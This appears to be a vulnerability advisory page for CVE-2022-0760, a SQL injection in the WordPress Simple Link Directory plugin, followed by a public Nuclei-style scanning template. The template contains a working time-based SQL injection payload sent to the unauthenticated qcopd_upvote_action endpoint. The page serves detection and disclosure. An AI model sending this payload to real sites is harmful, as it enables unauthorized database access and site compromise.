WordPress Simple Link Directory plugin before 7.7.2 contains a SQL injection vulnerability. The plugin does not validate and escape the post_id parameter before using it in a SQL statement via the qcopd_upvote_action AJAX action, available to unauthenticated and authenticated users. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
PoC代码[已公开]
id: CVE-2022-0760
info:
name: WordPress Simple Link Directory <7.7.2 - SQL injection
author: theamanrawat
severity: critical
description: |
WordPress Simple Link Directory plugin before 7.7.2 contains a SQL injection vulnerability. The plugin does not validate and escape the post_id parameter before using it in a SQL statement via the qcopd_upvote_action AJAX action, available to unauthenticated and authenticated users. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
impact: |
Successful exploitation of this vulnerability could lead to unauthorized access, data leakage, and potential compromise of the WordPress site.
remediation: |
Update to the latest version of WordPress Simple Link Directory plugin (7.7.2 or higher) to mitigate the SQL injection vulnerability.
reference:
- https://wpscan.com/vulnerability/1c83ed73-ef02-45c0-a9ab-68a3468d2210
- https://wordpress.org/plugins/simple-link-directory/
- https://nvd.nist.gov/vuln/detail/CVE-2022-0760
- https://plugins.trac.wordpress.org/changeset/2684915
- https://github.com/ARPSyndicate/cvemon
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-0760
cwe-id: CWE-89
epss-score: 0.77442
epss-percentile: 0.98946
cpe: cpe:2.3:a:quantumcloud:simple_link_directory:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 1
vendor: quantumcloud
product: simple_link_directory
framework: wordpress
tags: time-based-sqli,cve,cve2022,sqli,wordpress,wp-plugin,wp,simple-link-directory,unauth,wpscan,quantumcloud
http:
- raw:
- |
@timeout 20s
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=qcopd_upvote_action&post_id=(SELECT 3 FROM (SELECT SLEEP(7))enz)
matchers:
- type: dsl
dsl:
- 'duration>=7'
- 'status_code == 200 || status_code == 500'
- 'contains(content_type, "text/html")'
- 'contains(body, "vote_status") || contains(body, "critical error")'
condition: and
# digest: 4b0a00483046022100c0551a12bb9cdf92f150d063bb9ec961af80f2cf17b7f8bcab0a30d68471f219022100d985cf4d2a142069a40d110e8e554e0a02e1480e9ec597d596d19ffb2fa8381e:922c64590222798bb761d5b6d8e72950